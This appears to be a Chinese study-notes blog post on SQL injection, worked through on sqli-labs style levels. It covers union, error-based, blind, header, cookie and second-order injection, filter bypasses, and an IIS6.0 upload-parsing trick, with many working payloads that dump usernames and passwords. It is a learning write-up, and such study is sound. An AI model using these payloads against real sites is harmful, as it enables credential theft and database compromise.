sql注入部分总结和复现

一个端口对应一个服务

联合查询注入

所有的程序中,单双引号必须成对出现

需要从这个引号里面逃出来 在后面查询内容

?id=1' 

要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询

order by  #  通过二分法去试有多少列

知道列之后就可以用 union select 去查

union select 1,2,3--+ 

因为联合查询是前面条件为假 后面的条件才能生效。所以前面传id=-1 后面才能生效

?id=-1 union select 1,2,3

把2,3 换成数据库名

?id=-1 union select 1,user(),3--+
?id=-1 union select 1,database(),3--+

现在要查表名,因为知道存在information_schema这个库中

union select 1,table_name,3 from information_schema.tables where table_schema='security' --+   #但是这样查的是一个表名。只能显示一行,我们需要用group_concat()参数把表名整合成一行
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询一定要保证列相同 ,知道表,但是不知道列 所以要查列名

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

现在知道表,列了之后就可以查询了.就拿到管理员的密码了

union select 1,group_concat(username,0x3a,password),3 from users --+

写了正则过滤了information

这样写有漏洞可以双写information绕过

union select 1,table_name,3 from inforinformationmation schema.tables where table_schema='security'--+

但是用正则写则双写无法绕过

只有把information 替换了 sys库里面有x$schema_table_statistics 但是这里面也只有库名和表名,没有列名。所以只能进行无列名注入

利用join-using注入

通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

select * from (select * from users as a join users b) as c --+

报错列名就出来了,现在用using(id),排出id关联,则爆出username

select * from (select from users as a join users b using(id))  c --+

所以现在可以查询了

如果过滤了逗号

简单注入可以使用join方法绕过

union select 1,2,3

join语句:

union select * from (select 1)a join (select 2)b join (select 3)

如果是盲注的substr(),mid(),limit

substr和mid()可以使用from for的方法解决
 
substr(str from pos for len) //在str中从第pos位截取len长的字符
 
mid(str from pos for len)//在str中从第pos位截取len长的字符
 
limit可以用offset的方法绕过
 
limit 1 offset 1
 
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

报错注入

前端不会打印出信息,但是可以通过MySQL报错信息把你想要的信息带入出来

常用updatexml和extractvalue两个函数

updatexml

updatexml(1,1,1)一共可以接收三个参数,报错位置在第二个参数

extractvalue

extractvalue(1,1)一共可以接收两个参数,报错位置在第二个参数·

用and连接

?id=1' and updatexml(1,user(),1)--+

用concat()连接函数

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

现在就和联合查询一样可以查表名列名

?id=1' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security','~'),1)--+

查列

?id=1' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security and table_name='users','~'),1)--+

查密码

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users),'~'),1)--+

因为xml默认32字节 所以查询出来是这样

用limit

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users limit 0,1),'~'),1)--+

用substring(内容,开始,结束)一段一段截取

?id=1' and updatexml(1,concat('~',(select substring(group_concat(username,0x3a,password),32,64)from users),'~'),1)--+

面试:如果报错注入输出不完整,怎么办?

①用limit一个一个输出

②用substring()函数截取

MySQL怎么得到一个shell?(outfile)

3个条件

root权限 secure_file_priv的参数需要为空,不是null 网站路径

IS6.0解析漏洞(很久的漏洞,但可能会问)

1、有新建文件夹的权限,普通用户,可以把文件夹建成xxx.asp 都可以以aip权限执行,上传图片,写一句话木马插入图片中,一访问就执行了

2、后缀解析漏洞,创建1.asp;1.jpg 如果是IS6.0就会把;1.jpg截断,然后执行1.asp

布尔盲注

页面显示真和假的就是布尔盲注

只用通过页面反馈来猜

?id=1' and ascii(substr(database(),1,1))>100--+
# 意思是把database()首字母截取出来,转换成ascii码 和100比较  这样就可以知道第一个字母是啥

时间盲注(页面没有回显)

根据if()、sleep()网页沉睡时间来判断是否猜对

IF(condition, value_if_true, value_if_false)
?id=1' and if(ascii(substr(database(),1,1)) > 100, sleep(3), 0)--+

布尔盲注和时间盲注的区别

布尔盲注页面会显示两种状态,一种为真,一种为假,当它为真时会显示一种状态,当它为假时,会显示另一种状态。那么我可以利用python脚本去判断是否为真的元素,若有,则继续输出,若无,则做另外的判断

但时间盲注页面不会有显示,所以只能用mysql中的if函数让它沉睡,如果为真,沉睡1秒或3秒,看页面停顿是否1秒或3秒,如果有停顿则为真 ,如无则为假。我靠这个payload去注入

DNSlog注入

dnslog注入原理通过子查询,将内容拼接到域名内,查询相应的dns解析记录,来获取我们想要的数据

利用场景(secure_file_prive=" ",root,my.ini) 条件苛刻

在sql注入为布尔盲注、时间盲注时,如果遇到大量的数据,注入的效率将十分低下且耗时,用sqmap还容易被waf拦截,IP被ban,这种情况就可用利用内置文件读取函数 load_file()来完成 DNSlog注入

post型注入form表单

post 传参不能用--+ 用#

先用order by 查列

如果报错不能回显,则可以用图的变化来判断真假

魔术开关一旦开启,会自动转义单双引号。魔术开关在5.2以前自动开启,5.3以前是默认关闭

密码重置 17关

当输入的用户名是数据库里面的用户名,则可以重置密码

现在就是要拿到用户名,试着输入一下

 admin1 and updatexml(1,concat(0x7e,(select user),0x7e),1)#

。想接到用户名

但是函数过滤只能接到15个字节

所以现在uname 利用不了。所以只能利用password。所以通过password然后用updatexml注入出库名,但是因为数据库里面是update 语句,是不能用updatexml注入的,所以只能用floor*函数*

floor函数

floor 函数报错细节,首先会用到四个函数rand,group by ,count,floor。因为分组时,mysql会自动创建一个虚拟表用于存信息,使用group by时,floor进行第一次计算,为0,然后表中没有值,会进行第二次计算,然后加表。再之后的加表分组过程中,如果floor第一次计算的值又是零,表中此时没有零,然后又会在计算一次,为1,此时表中已经有1了,所以会报错。

注意:只能用or 不能用and 如果用and 返回的就是假,则为0,所以数据库密码就会被修改成为0

而用or 一真一假则为真,则可以报错

并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。

admin1'
aaa' and (select 1 from (select count(8),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#

并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。

admin1'
aaa' or (select 1 from (select count(*),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#

用or 会报错,update语句没有执行

sql头部注入

18关 文件头注入

文件头注入

根据源码来看 用不了 uname 和passwd 根据分析就需要用到burpsuite 改http里面的head头。用burpsuite 抓就得用本地IP

改了user-agent 会出现报错

所以这里是一个注入点

改了一下用updatexml报错注入是可行的

20关从cookie 里面注入

21关有一个base64编码 然后闭合方式不同

23关

注释符被过滤了 不能注释 那就闭合

order by 2 and '1'='1'

然后就可以报错注入了

二次注入

二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞

第一次注册用户存的时候是没有漏洞的。第二次修改用户密码从数据库拿信息的时候是存在漏洞的。那么如果知道用户名,就可以修改用户名的密码了。并且转义符也没有入库

那我不知道管理员的用户名时,我也要去利用这个,报错注入拿到管理员用户名。然后再进行改密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值